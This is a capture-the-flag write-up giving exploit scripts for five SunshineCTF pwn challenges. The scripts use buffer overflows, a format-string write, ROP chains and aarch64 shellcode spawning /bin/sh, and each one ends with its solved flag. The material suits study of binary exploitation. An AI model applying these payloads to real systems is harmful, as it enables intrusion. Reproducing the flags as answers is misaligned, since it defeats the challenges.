- Published on
SunshineCTF - i95 challenges
Introduction
Between September 27 and 29, SunshineCTF took place—a small but interesting US-based CTF event. Alongside standard PWN, reverse engineering, and cryptography challenges, the competition featured the i95 challenge (an approachable PWN-style task) and the Pegasus challenge set. More details about the event can be found here. We solved all i95 tasks; since they were straightforward, only the solutions are provided below. 

Miami

Solution author: Cappybara
from pwn import *
p = connect("chal.sunshinectf.games", 25601)
payload = b'A' * 76 + p64(0x1337c0de)
p.recvuntil("Enter Dexter's password: ")
p.sendline(payload)
p.interactive()
sun{DeXtEr_was_!nnocent_Do4kEs_w4s_the_bAy_hRrb0ur_bu7cher_afterall!!}
Jupiter

Solution author: kerszi
from pwn import *
context.log_level = 'warning'
context.update(arch='x86_64', os='linux')
context.terminal = ['cmd.exe', '/c', 'start', 'wsl.exe']
HOST="nc chal.sunshinectf.games 25607"
ADDRESS,PORT=HOST.split()[1:]
BINARY_NAME="./jupiter"
binary = context.binary = ELF(BINARY_NAME, checksec=False)
if args.REMOTE:
p = remote(ADDRESS,PORT)
else:
p = process(binary.path)
# Overwrite value at 0x00404010 with 0x1337c0d using pwntools' fmtstr_payload
target_addr = 0x00404010
target_value = 0x1337c0de
# Find the offset for the format string (you may need to adjust this)
offset = 5
payload = fmtstr_payload(offset, {target_addr: target_value})
p.sendlineafter(b"Enter data at your own risk:", payload)
p.interactive()
sun{F0rmat_str!ngs_4re_sup3r_pOwerFul_r1gh7??}
Jacksonville

Solution author: kerszi
from pwn import *
context.log_level = 'warning'
context.update(arch='x86_64', os='linux')
context.terminal = ['cmd.exe', '/c', 'start', 'wsl.exe']
HOST="nc chal.sunshinectf.games 25602"
ADDRESS,PORT=HOST.split()[1:]
BINARY_NAME="./jacksonville"
binary = context.binary = ELF(BINARY_NAME, checksec=False)
if args.REMOTE:
p = remote(ADDRESS,PORT)
else:
p = process(binary.path)
cyclic_pattern = cyclic(200)
print(cyclic_pattern)
win=binary.sym.win
rop = ROP(binary)
ret = rop.find_gadget(['ret'])[0]
print(f"ret gadget at: {hex(ret)}")
payload = b'A'*6 + b'Jaguars\x00' + b'A'*(96 - 14) + b'B'*8 +p64(ret)+p64(win)
p.sendlineafter(b'What\'s the best Florida football team?',payload)
p.interactive()
sun{It4chI_b3ats_0b!to_nO_d!ff}
Canaveral

Solution author: kerszi
from pwn import *
context.log_level = 'warning'
context.update(arch='x86_64', os='linux')
context.terminal = ['cmd.exe', '/c', 'start', 'wsl.exe']
HOST="nc chal.sunshinectf.games 25603"
ADDRESS,PORT=HOST.split()[1:]
BINARY_NAME="./canaveral"
binary = context.binary = ELF(BINARY_NAME, checksec=False)
if args.REMOTE:
p = remote(ADDRESS,PORT)
else:
p = process(binary.path)
win=binary.sym.win
main=binary.sym.main
payload1=72*b'A'+p64(main)
rop = ROP(binary)
ret_gadget = rop.find_gadget(['ret'])[0]
warn(f"'ret' gadget address: {hex(ret_gadget)}")
system=binary.plt.system
puts=binary.plt.puts
p.sendlineafter('Enter the launch sequence:',payload1)
p.recvuntil(b'Successful launch! Here\'s your prize: ')
stos=int(p.recvline().strip(),16)+16
warn(f"stos: {hex(stos)}")
payload2=p64(0)+p64(0x402008)+(6*8)*b'A'+p64(stos)+p64(ret_gadget)+p64(win+35)
p.sendlineafter('Enter the launch sequence:',payload2)
p.interactive()
sun{D!d_y0u_s3e_thE_IM4P_spAce_laUncH??}
Daytona

Solution author: Grzechu
This is an Arm challenge
#!/usr/bin/env python3
from pwn import *
import re
HOST, PORT = "chal.sunshinectf.games", 25606
context.clear(arch="aarch64", os="linux")
context.log_level = "info"
RET_OFF = 72 # LR zwykle na S+0x48; jeśli nie działa, spróbuj 56
LEAK_DELTA = 0x75 # n + 0x75 = buf
STAGE2_OFF = 0xF0 # gdzie położymy shellcode
NOP = b"\x1f\x20\x03\xd5" # aarch64 NOP
def parse_leak(b: bytes) -> int:
m = re.search(rb'going\s+(\d+)\s+MPH', b)
if not m:
raise ValueError("Nie znalazłem liczby w bannerze")
return int(m.group(1))
def build_shellcode() -> bytes:
"""
Self-check: najpierw write(1,"OK!",3), potem execve("/bin/sh",0,0).
"""
sc = asm(r"""
// write(1, "OK!", 3)
adr x1, msg
mov x0, #1
mov x2, #3
mov x8, #64 // __NR_write
svc #0
// execve("/bin/sh", NULL, NULL)
adr x0, sh
eor x1, x1, x1
eor x2, x2, x2
mov x8, #221 // __NR_execve
svc #0
// fallback: exit(0)
mov x0, xzr
mov x8, #93 // __NR_exit
svc #0
msg: .ascii "OK!"
sh: .ascii "/bin/sh\0"
""")
return sc
def main():
io = remote(HOST, PORT)
ban = io.recvuntil(b"What do I tell them??")
leak = parse_leak(ban)
buf = leak + LEAK_DELTA
stage2 = buf + STAGE2_OFF
log.info(f"leak={leak} -> buf=0x{buf:x} stage2=0x{stage2:x}")
sc = build_shellcode()
# 1) nadpisz LR adresem shellcode'u
head = b"A" * RET_OFF + p64(stage2)
# 2) dobij do STAGE2_OFF (krótki sled NOP-ów, żadnych \n na początku)
padlen = max(0, STAGE2_OFF - len(head))
sled = (NOP * ((padlen // len(NOP)) + 1))[:padlen]
payload = head + sled + sc
# ważne: w pierwszych ~90 bajtach nie może być 0x0a (LF)
first = payload[:90]
if b"\x0a" in first:
i = first.index(b"\x0a")
payload = payload[:i] + b" " + payload[i+1:]
io.send(payload + b"\n")
io.interactive()
if __name__ == "__main__":
main()
Shorten payload
from pwn import *
HOST="nc chal.sunshinectf.games 25606"
ADDRESS,PORT=HOST.split()[1:]
BINARY_NAME="./daytona"
binary = context.binary = ELF(BINARY_NAME, checksec=False)
if args.REMOTE:
p = remote(ADDRESS,PORT)
else:
p = process(binary.path)
shellcode = (
b"\xe1\x45\x8c\xd2\x21\xcd\xad\xf2\xe1\x65\xce\xf2\x01\x0d\xe0\xf2"
b"\xe1\x8f\x1f\xf8\xe1\x03\x1f\xaa\xe2\x03\x1f\xaa\xe0\x63\x21\x8b"
b"\xa8\x1b\x80\xd2\xe1\x66\x02\xd4"
)
line = p.recvuntil(b"over the speedlimit").decode()
# Wyciągnij liczbę po "going"
mph = int(line.split("going")[1].split("MPH")[0].strip())
start_exploit_adress_stack=mph+0xc5
warn(f"stack: {mph:#x}")
payload= 72*b'A'+p64(start_exploit_adress_stack)+shellcode
p.sendlineafter(b'What do I tell them??',payload)
p.interactive()
sun{ARM64_shEl1c0de_!s_pr3ttY_n3a7_dOnT_y0u_thInk?}
Bonus
Optionally, You can find all resources to tests: https://github.com/MindCraftersi/ctf/tree/main/2025/SunshineCTF